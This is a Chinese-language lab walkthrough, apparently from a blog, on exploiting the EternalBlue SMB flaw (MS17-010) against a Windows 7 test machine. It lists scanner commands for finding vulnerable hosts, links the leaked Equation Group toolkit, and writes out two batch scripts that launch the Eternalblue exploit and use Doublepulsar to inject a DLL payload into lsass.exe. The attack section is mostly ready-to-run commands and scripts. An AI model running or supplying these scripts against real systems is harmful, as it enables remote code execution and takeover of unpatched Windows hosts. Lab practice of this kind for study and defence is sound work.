漏洞介绍
漏洞名称:永恒之蓝
漏洞编号:MS17-010,CVE-2017-0143/0144/0145/0146/0147/0148
漏洞类型:缓冲区溢出漏洞
漏洞影响:Windows Vista SP2; Windows Server 2008 SP2 and R2 SP1; Windows 7 SP1; Windows 8.1; Windows Server 2012 Gold and R2; Windows RT 8.1; and Windows 10 Gold, 1511, and 1607; Windows Server 2016
实验环境
kali
- ip:192.168.0.18
win7
- ip:192.168.0.28
MS17010检查
checker.py
GitHub:https://github.com/worawit/MS17-010
python2 checker.py 192.168.0.28
check.bat
GitHub:https://github.com/3gstudent/Smbtouch-Scanner
新建check.bat
@Smbtouch-1.1.1.exe –TargetIp %1 –OutConfig 1.txt
check.bat 192.168.0.28
Ladon
Ladon.exe 192.168.0.28 MS17010
fscan
fscan -h 192.168.0.28
总之方法有很多,选择自己喜欢的
MS17010利用
有防火墙
参考:
本人没成功,终究还是太菜了
【MS17010打法】 https://www.bilibili.com/video/BV1Ye4y1k7X9/?share_source=copy_web&vd_source=2eb72ea5238fe3398c820713b04697ff
无防火墙
环境和上面不一样,但是不影响
Github:
- https://github.com/x0rz/EQGRP_Lost_in_Translation
将工具包中以下三个目录中的文件拷贝到同一个目录中(因为64位系统是支持32位的,所以直接复制32位的就好):
windows\lib\x86-Windows\
windows\specials\
windows\payloads\
然后在目录中,把Eternalblue-2.2.0.0.xml文件重命名成Eternalblue-2.2.0.xml,Doublepulsar-1.3.1.0.xml改为Doublepulsar-1.3.1.xml
为了方便使用,编写bat脚本
attack.bat 192.168.0.28
@echo off
echo =============== [ TargetIp: %1 ] ===============
Eternalblue-2.2.0.exe –InConfig Eternalblue-2.2.0.xml –TargetIp %1 –TargetPort 445 –Target WIN72K8R2
backdoor.bat 192.168.0.28 exp.dll
@echo off
echo ================================================
echo [info] TargetIp: %1
echo [info] Architecture: %2
echo [info] DllPayload: %3
echo ================================================
Doublepulsar-1.3.1.exe –InConfig Doublepulsar-1.3.1.xml –TargetIp %1 –TargetPort 445 –Protocol SMB –Architecture %2 –Function RunDLL –DllPayload %3 –payloadDllOrdinal 1 –ProcessName lsass.exe –ProcessCommandLine “” –NetworkTimeout 60
- https://github.com/Telefonica/Eternalblue-Doublepulsar-Metasploit
在deps
文件夹,在目录中,把Eternalblue-2.2.0.0.xml文件重命名成Eternalblue-2.2.0.xml,Doublepulsar-1.3.1.0.xml改为Doublepulsar-1.3.1.xml
暂无评论内容